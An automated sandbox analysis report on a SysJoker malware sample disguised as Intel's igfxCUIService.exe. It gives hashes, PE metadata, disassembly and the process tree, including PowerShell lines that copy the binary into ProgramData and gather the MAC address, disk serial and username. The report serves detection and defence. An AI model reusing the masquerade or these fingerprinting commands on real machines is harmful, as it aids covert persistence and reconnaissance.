Time	Type	Description
14:13:07	API Interceptor	7x Sleep call for process: qtjRj8L3Rw.exe modified
14:13:52	API Interceptor	49x Sleep call for process: powershell.exe modified
14:13:54	API Interceptor	9x Sleep call for process: igfxCUIService.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
C:\ProgramData\SystemData\igfxCUIService.exe	#SysJoker_n2.exe	Get hash	malicious	Browse
C:\ProgramData\SystemData\igfxCUIService.exe	IGFXCUISERVICE.EXE	Get hash	malicious	Browse

Created / dropped Files

C:\ProgramData\SystemData\igfxCUIService.exe Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	401920
Entropy (8bit):	6.560987668019584
Encrypted:	false
SSDEEP:	12288:m00VdXicNHeft0d/BiqpD9JD9lusIhAzhM2RdM:mrzXiu+FZqp72iDc
MD5:	D90D0F4D6DAD402B5D025987030CC87C
SHA1:	FAD66BDF5C5DC2C050CBC574832C6995DBA086A0
SHA-256:	1FFD6559D21470C40DCF9236DA51E5823D7AD58C93502279871C3FE7718C901C
SHA-512:	C2FAEACFD588585633630AD710F443A72C7617C2D5E37DBFE43570E6AC5904E4B81EB682356A48A93BB794EF5E9D8AD0D673966D57798079B4DE62EA61241024
Malicious:	true
Yara Hits:	Rule: JoeSecurity_SysJoker, Description: Yara detected SysJoker, Source: C:\ProgramData\SystemData\igfxCUIService.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100%
Joe Sandbox View:	Filename: #SysJoker_n2.exe, Detection: malicious, Browse Filename: IGFXCUISERVICE.EXE, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........@......................@...N.......N.....N.........................g.....g.R...g.....Rich............................PE..L...b*1a.............................M............@..........................`............@.....................................x............................ ...8.....................................@............................................text.............................. ..`.rdata...?.......@..................@..@.data....!..........................@....rsrc...............................@..@.reloc...8... ...:..................@..B................................................................................................................................................................................................................................................................................................

C:\ProgramData\SystemData\igfxCUIService.exe:Zone.Identifier Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\ProgramData\SystemData\temps1.txt Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	242
Entropy (8bit):	3.744262078789027
Encrypted:	false
SSDEEP:	3:mSGg0W/FLyzdAFFFFm8xY/5hAVML6tdRRdnp+thONq:Cg0G5ym/m8GAD6Gs
MD5:	1F9136F65D689B583097B6F38788B536
SHA1:	B35D5EA6C7CBC73037F90E3009F00F72883E1B96
SHA-256:	41970814664E728B105B6AE07244D39DFE036D8F56D55BD7D6AB99EBAF6C276F
SHA-512:	D1352021E2797C860FCAD87271F9FF5C9E706C077810B94FC323FF691ECE4AA50DC2CAFD7EAB94D242F01E18281E6E249C4C991B0B78E811BED2A832CE760679
Malicious:	false
Preview:	..Physical Address Transport Name ..=================== ==========================================================..5C-22-C6-13-4E-F9 \Device\Tcpip_{B8652DFC-E1F5-449D-BAE4-BFF4128DE918} ..

C:\ProgramData\SystemData\temps2.txt Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	79
Entropy (8bit):	3.433465716504146
Encrypted:	false
SSDEEP:	3:qXVFZycUbEcF75r:7cUg07F
MD5:	836F27CBBDF1E1D7A6CFAD4B3B017854
SHA1:	1D8FA7E3DF507FF69E27BCC7A1E9AF9B5EEC0917
SHA-256:	3914DD947B9DDD2B833C6984A27BECAF10C4E0A025CB5D95A7F972285E920BC7
SHA-512:	29B7481318CD869C00F6A9C16011436971B8B0B2BCF557A48FFB5F762386E470CE1547EF5C23C6C89477C36BAAB1ED307ABB6BE98ED4521B3F94F506E29DFC26
Malicious:	false
Preview:	SerialNumber ....VBc9b17e68-05a2fbcb .... ........

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	20928
Entropy (8bit):	5.736673923217396
Encrypted:	false
SSDEEP:	384:OEDMvl7kLYyB3r/KKnYCP9qm8u0NRsevi6qoRs7CBr4xRRy3r:DLbG109qlsI2F4r
MD5:	62FBD2028BA46AB5C9929FEBE0DDDF1E
SHA1:	6D8A34C9F7D20F88A141F607F9520A2C9B9118C3
SHA-256:	C772F93662B1EDD867A4C12DE354E195B8FDBB3E07EDF809F5DFD1022D4E544F
SHA-512:	F8816986B1DAE6B0C49E2F8EF74B8ECDC6427E8DB15BBB9E921442BE8965DD0B85D3A702730DDAD0EA1D35C4754E3C6972A81E0D45D9308D49F7DD172C5DCF14
Malicious:	false
Preview:	@...e...........X.......a...............\|.?..........@..........0...............G-.o...A...4B..&.......System..H.................]....E..Jqp...)..... .Microsoft.PowerShell.ConsoleHostD................N..o.H...1.w.........System.Management.Automation4.................A:.(.D...............System.Core.4................Zg5..:O..g..q..u.......System.Xml..L...............7.....J@......~.......#.Microsoft.Management.Infrastructure.8................'....L..}............System.Numerics.@................Lo...QN......<Q........System.DirectoryServices<................H..QN.Y.f............System.Management...4.................5...KG..)....#.......System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<.................~.[L.D.Z.>..m.........System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3cmkzftm.ckp.psm1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	80
Entropy (8bit):	4.481774803623838
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFKOMHiQEon:SnqbKAKWGKMoo
MD5:	527CB6C3BC5154A156D0EA016483A34C
SHA1:	04D2802479D325F6E5D615A612769C916BE2DF23
SHA-256:	8E7B2AA8B3DC0007DA4C75608D4199A6780C09982862661114F172E68DCE21B4
SHA-512:	B3A4F81BD514C68E607BF1B65CFF3DC58A05C68ADFF8F5F6878B6012579E7EA1D122E1E0C6C1DB420B6BB7A749D9DCA27159E24E798549AFC6744A7159557AF9
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode 1/12/2022 2:14:51 PM

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jmv4hq3u.jjj.ps1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	80
Entropy (8bit):	4.522338709846795
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFKOMHRTFi:SnqbKAKWGKMxTFi
MD5:	C5634FF893F8A8DED82722075C1C3C2C
SHA1:	3DF424425568D6CC0F3A88BBAB90CA721FC20C44
SHA-256:	3D94B8F90F9750B62BB00F6648B1AD327C8CA96101C270EAE53AFB10EF4F14E5
SHA-512:	980A3C99D53268A247A7E2D42B7BCDE8D83AA03253696E10BCCB21AB7BEA2E28184744A3174893B35BDFB6274BF5D96A973D5FBB6E8C9BB5B96F551B3B02B6C4
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode 1/12/2022 2:13:46 PM

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ltcvmphj.tyt.ps1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	80
Entropy (8bit):	4.481774803623838
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFKOMHiQEon:SnqbKAKWGKMoo
MD5:	527CB6C3BC5154A156D0EA016483A34C
SHA1:	04D2802479D325F6E5D615A612769C916BE2DF23
SHA-256:	8E7B2AA8B3DC0007DA4C75608D4199A6780C09982862661114F172E68DCE21B4
SHA-512:	B3A4F81BD514C68E607BF1B65CFF3DC58A05C68ADFF8F5F6878B6012579E7EA1D122E1E0C6C1DB420B6BB7A749D9DCA27159E24E798549AFC6744A7159557AF9
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode 1/12/2022 2:14:51 PM

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nxtcgyim.deb.psm1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	80
Entropy (8bit):	4.522338709846795
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFKOMHRTFi:SnqbKAKWGKMxTFi
MD5:	C5634FF893F8A8DED82722075C1C3C2C
SHA1:	3DF424425568D6CC0F3A88BBAB90CA721FC20C44
SHA-256:	3D94B8F90F9750B62BB00F6648B1AD327C8CA96101C270EAE53AFB10EF4F14E5
SHA-512:	980A3C99D53268A247A7E2D42B7BCDE8D83AA03253696E10BCCB21AB7BEA2E28184744A3174893B35BDFB6274BF5D96A973D5FBB6E8C9BB5B96F551B3B02B6C4
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode 1/12/2022 2:13:46 PM

C:\Users\user\Documents\20220112\PowerShell_transcript.305090.U78yw9TH.20220112141320.txt Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1097
Entropy (8bit):	5.231490561673135
Encrypted:	false
SSDEEP:	24:BxSAq3Tvi3x/nx2DOXUW8UEaW70jeuKK6X4CIym1ZJXzEKFnxSAZixC:BZiTvqxfoOnEd7CKYB1ZlEKZZZixC
MD5:	8365D33CCC4CEA6DC81FBEF8074AB171
SHA1:	C496EBFC5BE5A922E538C1C207DE9537FC81EDFE
SHA-256:	8E8C6AF2C3F6FAE12DC730B90E24EB44DA5AD7A6C1A18C1BC3D5D207049A5FC5
SHA-512:	31ED3800A7991A213F31B09A51DDF72CC8FA5E2B22572CF2E7125F817DA5416C172BC73C08BEFDE2E19A65E4D8DB8A3E36AE0A3437CA2FD2BF6E616CB2F8F6DA
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20220112141348..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 305090 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe copy 'C:\Users\user\Desktop\qtjRj8L3Rw.exe' 'C:\ProgramData\SystemData\igfxCUIService.exe'..Process ID: 5848..PSVersion: 5.1.17134.165..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.165..BuildVersion: 10.0.17134.165..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20220112141348..******************..PS>copy 'C:\Users\user\Desktop\qtjRj8L3Rw.exe' 'C:\ProgramData\SystemData\igfxCUIService.exe'..******************..Command start time: 20220112141450..******************..PS>$global:?..True..**********

C:\Users\user\Documents\20220112\PowerShell_transcript.305090.zOvb_cEe.20220112141411.txt Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1303
Entropy (8bit):	5.259294238407679
Encrypted:	false
SSDEEP:	24:BxSA2G3Tvi3x/nx2DOXUWKYcdVWF0jeuKK6X4CIym1ZJXuyYcAmnxSAZNC:BZ2uTvqxfoOqYceFCKYB1ZsyYcAoZZNC
MD5:	2BFD640543E531BDDD9BA1D7E839BE11
SHA1:	00E520EC469EB47BAFD0F44CD2E73BEE529F2B79
SHA-256:	F564AEE3F53BFCBE099DF22A14C20001FE353D0C73FE1E5B2916D2EDDE4454B7
SHA-512:	1F92D6FDB177003A430D190232474458B932A24F890246604E7996B5982DBFBD4A7FF2DE0CBF420770F1FAB2F57938BDA6F48A34B14128F9486135CDF0B9D049
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20220112141453..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 305090 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe getmac \| Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\temps1.txt' ; wmic path win32_physicalmedia get SerialNumber \| Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\temps2.txt'..Process ID: 5312..PSVersion: 5.1.17134.165..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.165..BuildVersion: 10.0.17134.165..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20220112141453..********************..PS>getmac \| Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\temps1.txt' ; wmic path win32_physicalmedi

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.560987668019584
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	qtjRj8L3Rw.exe
File size:	401920
MD5:	d90d0f4d6dad402b5d025987030cc87c
SHA1:	fad66bdf5c5dc2c050cbc574832c6995dba086a0
SHA256:	1ffd6559d21470c40dcf9236da51e5823d7ad58c93502279871c3fe7718c901c
SHA512:	c2faeacfd588585633630ad710f443a72c7617c2d5e37dbfe43570e6ac5904e4b81eb682356a48a93bb794ef5e9d8ad0d673966d57798079b4de62ea61241024
SSDEEP:	12288:m00VdXicNHeft0d/BiqpD9JD9lusIhAzhM2RdM:mrzXiu+FZqp72iDc
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........@........................@...N.......N.......N...............................g.......g.R.....g.......Rich...................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x424dcb
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x61312A62 [Thu Sep 2 19:47:46 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	86f89939b4b0c19157649ce986ae170e

Entrypoint Preview

Instruction
call 00007FF3F0B3277Fh
jmp 00007FF3F0B320DFh
push ebp
mov ebp, esp
sub esp, 00000324h
push ebx
push 00000017h
call 00007FF3F0B53284h
test eax, eax
je 00007FF3F0B32267h
mov ecx, dword ptr [ebp+08h]
int 29h
push 00000003h
call 00007FF3F0B32439h
mov dword ptr [esp], 000002CCh
lea eax, dword ptr [ebp-00000324h]
push 00000000h
push eax
call 00007FF3F0B3461Ah
add esp, 0Ch
mov dword ptr [ebp-00000274h], eax
mov dword ptr [ebp-00000278h], ecx
mov dword ptr [ebp-0000027Ch], edx
mov dword ptr [ebp-00000280h], ebx
mov dword ptr [ebp-00000284h], esi
mov dword ptr [ebp-00000288h], edi
mov word ptr [ebp-0000025Ch], ss
mov word ptr [ebp-00000268h], cs
mov word ptr [ebp-0000028Ch], ds
mov word ptr [ebp-00000290h], es
mov word ptr [ebp-00000294h], fs
mov word ptr [ebp-00000298h], gs
pushfd
pop dword ptr [ebp-00000264h]
mov eax, dword ptr [ebp+04h]
mov dword ptr [ebp-0000026Ch], eax
lea eax, dword ptr [ebp+04h]
mov dword ptr [ebp-00000260h], eax
mov dword ptr [ebp-00000324h], 00010001h
mov eax, dword ptr [eax-04h]
push 00000050h
mov dword ptr [ebp-00000270h], eax
lea eax, dword ptr [ebp-58h]
push 00000000h
push eax
call 00007FF3F0B34590h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5d4bc	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x61000	0x3b8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x62000	0x38d4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x585d0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x586c0	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x585f0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x4a000	0x1dc	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x48ddb	0x48e00	False	0.509323408019	data	6.57262184076	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x4a000	0x13f90	0x14000	False	0.460668945313	data	5.42470846624	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x5e000	0x21d0	0x1200	False	0.26953125	data	3.95317799649	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x61000	0x3b8	0x400	False	0.4111328125	data	3.18893503216	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x62000	0x38d4	0x3a00	False	0.670999461207	data	6.52552513001	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x61060	0x354	data	English	United States

Imports

DLL	Import
KERNEL32.dll	CreateDirectoryW, SizeofResource, HeapFree, GetModuleFileNameW, InitializeCriticalSectionEx, WaitForSingleObject, HeapSize, MultiByteToWideChar, Sleep, GetLastError, LockResource, DeleteFileW, GlobalFree, HeapReAlloc, RaiseException, FindResourceExW, LoadResource, FindResourceW, HeapAlloc, DecodePointer, HeapDestroy, DeleteCriticalSection, GetProcessHeap, WideCharToMultiByte, SleepEx, WriteConsoleW, CreateFileW, SetStdHandle, SetEnvironmentVariableW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetCommandLineA, GetOEMCP, GetACP, IsValidCodePage, FindNextFileW, FindFirstFileExW, FindClose, ReadConsoleW, ReadFile, EnumSystemLocalesW, GetUserDefaultLCID, IsValidLocale, GetConsoleMode, GetConsoleCP, FlushFileBuffers, GetFileType, SetFilePointerEx, CloseHandle, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, SetEvent, ResetEvent, WaitForSingleObjectEx, CreateEventW, GetModuleHandleW, GetProcAddress, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, IsDebuggerPresent, GetStartupInfoW, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, EncodePointer, SetLastError, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, CompareStringW, LCMapStringW, GetLocaleInfoW, GetStringTypeW, GetCPInfo, OutputDebugStringW, RtlUnwind, FreeLibrary, LoadLibraryExW, ExitProcess, GetModuleHandleExW, GetStdHandle, WriteFile, GetFileSizeEx, SetEndOfFile
SHELL32.dll	ShellExecuteW, ShellExecuteExW
ole32.dll	CoCreateInstance, CoUninitialize, CoInitialize
OLEAUT32.dll	SysAllocStringLen
WINHTTP.dll	WinHttpGetIEProxyConfigForCurrentUser, WinHttpGetProxyForUrl, WinHttpWriteData, WinHttpReadData, WinHttpSetTimeouts, WinHttpCloseHandle, WinHttpCrackUrl, WinHttpQueryDataAvailable, WinHttpQueryHeaders, WinHttpAddRequestHeaders, WinHttpOpen, WinHttpSetOption, WinHttpConnect, WinHttpReceiveResponse, WinHttpOpenRequest, WinHttpSendRequest

Version Infos

Description	Data
LegalCopyright	Copyright 2012-2015, Intel Corporation
InternalName	IGFXCUISERVICE
FileVersion	6.15.10.5063
CompanyName	Intel Corporation
ProductName	Intel(R) Common User Interface
ProductVersion	6.15.10.5063
FileDescription	igfxCUIService Module
OriginalFilename	IGFXCUISERVICE.EXE
Translation	0x0409 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: qtjRj8L3Rw.exe PID: 5732 Parent PID: 5072

General

Start time:	14:13:06
Start date:	12/01/2022
Path:	C:\Users\user\Desktop\qtjRj8L3Rw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\qtjRj8L3Rw.exe"
Imagebase:	0xbd0000
File size:	401920 bytes
MD5 hash:	D90D0F4D6DAD402B5D025987030CC87C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SysJoker, Description: Yara detected SysJoker, Source: 00000000.00000000.532048911.0000000000C1A000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SysJoker, Description: Yara detected SysJoker, Source: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: powershell.exe PID: 5848 Parent PID: 5732

General

Start time:	14:13:09
Start date:	12/01/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" copy 'C:\Users\user\Desktop\qtjRj8L3Rw.exe' 'C:\ProgramData\SystemData\igfxCUIService.exe'
Imagebase:	0xb0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 5868 Parent PID: 5848

General

Start time:	14:13:09
Start date:	12/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff658540000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: igfxCUIService.exe PID: 4384 Parent PID: 5732

General

Start time:	14:13:54
Start date:	12/01/2022
Path:	C:\ProgramData\SystemData\igfxCUIService.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\SystemData\igfxCUIService.exe"
Imagebase:	0xd10000
File size:	401920 bytes
MD5 hash:	D90D0F4D6DAD402B5D025987030CC87C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SysJoker, Description: Yara detected SysJoker, Source: 00000007.00000000.643724739.0000000000D5A000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SysJoker, Description: Yara detected SysJoker, Source: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SysJoker, Description: Yara detected SysJoker, Source: C:\ProgramData\SystemData\igfxCUIService.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira
Reputation:	low

Chronological Activities

Analysis Process: powershell.exe PID: 5312 Parent PID: 4384

General

Start time:	14:13:56
Start date:	12/01/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" getmac \| Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\temps1.txt' ; wmic path win32_physicalmedia get SerialNumber \| Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\temps2.txt'
Imagebase:	0xb0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 4564 Parent PID: 5312

General

Start time:	14:13:56
Start date:	12/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff658540000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: getmac.exe PID: 3328 Parent PID: 5312

General

Start time:	14:15:01
Start date:	12/01/2022
Path:	C:\Windows\SysWOW64\getmac.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\getmac.exe
Imagebase:	0x50000
File size:	65536 bytes
MD5 hash:	6AB605BD2223BFB2E55A466BE9816914
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: WMIC.exe PID: 3788 Parent PID: 5312

General

Start time:	14:15:05
Start date:	12/01/2022
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\Wbem\WMIC.exe" path win32_physicalmedia get SerialNumber
Imagebase:	0xd60000
File size:	391680 bytes
MD5 hash:	79A01FCD1C8166C5642F37D1E0FB7BA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: powershell.exe PID: 4704 Parent PID: 4384

General

Start time:	14:15:09
Start date:	12/01/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $env:username \| Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\tempu.txt'
Imagebase:	0xb0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 4736 Parent PID: 4704

General

Start time:	14:15:09
Start date:	12/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff658540000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: qtjRj8L3Rw.exe PID: 5732 Parent PID: 5072 qtjRj8L3Rw.exeUNIQUE

Execution Graph

Execution Coverage:	2.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	11.1%
Total number of Nodes:	424
Total number of Limit Nodes:	17

Executed Functions

Function 00BD11F0, Relevance: 9.5, Strings: 7, Instructions: 734
UNIQUE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

SystemDrive, xrefs: 00BD1213
ESQuBT8uQyglJy4QOicGXDMiayYtPQ==, xrefs: 00BD1949
ER4uCCkuRzRjHSU=, xrefs: 00BD15A9
JC4hHg4UeRQmIQcuMCxMVjw0, xrefs: 00BD1709
`, xrefs: 00BD1878
ERk1CSozUSoHMgUm, xrefs: 00BD12E9
ERo+FTkkXQMiJxA=, xrefs: 00BD1449

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

